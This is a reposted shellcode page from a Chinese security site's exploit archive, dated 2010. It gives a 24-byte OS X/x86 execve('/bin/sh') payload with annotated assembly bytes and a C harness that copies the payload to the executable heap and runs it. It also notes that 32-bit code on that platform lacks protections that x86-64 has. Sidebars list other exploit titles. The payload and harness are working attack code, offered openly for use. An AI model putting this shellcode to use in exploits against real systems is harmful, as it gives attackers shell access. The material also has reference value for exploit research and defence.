首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
os-x/x86 intel - execve(/bin/sh) 24 bytes
来源:simon.derouineau [AT] ingesup.com 作者:Derouineau 发布时间:2010-08-23  
/*
Title : OSX/x86 intel - execve(/bin/sh) - 24 bytes
Type : Shellcode
Author : Simon Derouineau - simon.derouineau [AT] ingesup.com
Platform : Mac OSX/Intel. Tested on 10.6.4 Build 10F569

Informations : This code has to be compiled with gcc -m32 switch  on 10.6.0+

More informations : x86-64 code is more secured than x86 code on OSX platform : Canaries are added, Stack and heap are non-executable, etc.
Also, cat /var/db/dyld/dyld_shared_cache_x86_64.map shows that no memory can be mapped with WX flags, while it's possible with x86 code ( according to  /var/db/dyld/dyld_shared_cache_i386.map).
The method used here is the easier one, heap is executable in x86 applications, as described in "The Mac Hacker's Handbook", written by Charlie Miller.
The trick is to memcopy the shellcode to the heap before executing it.

*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>



char shellcode[]=  "\x31\xC0"  // xor eax,eax
"\x50" // push eax
"\x68\x2F\x2F\x73\x68" // push dword
"\x68\x2F\x62\x69\x6E" // push dword
"\x89\xE3" // mov ebx,esp
"\x50\x50\x53" // push eax, push eax, push ebx
"\xB0\x3B" // mov al,0x3b
"\x6A\x2A" // push byte 0x2a
"\xCD\x80" // int 0x80


int main(int argc, char *argv[]){
void (*f)();
char *x = malloc(sizeof(shellcode));
memcpy(x, shellcode, sizeof(shellcode));
f = (void (*)()) x;
f();

}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·linux/x86 /etc/init.d shellcod
·ECShop v2.6.1 (FCKeditor Remot
·linux/x86 /bin/sh Null-Free Po
·ECShop v2.7.2 (FCKeditor Remot
·SonciWALL Aventail epi.dll Aut
·UblogReload 1.0.5 Database Dis
·Microsoft Windows (IcmpSendEch
·Video Script ASP Database Disc
·PlayPad Music Player v1.12 .mp
·AV Music Morpher Gold 5.0.38 (
·Windows XP SP3 English Message
·Karaoke Video Creator Denial o
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved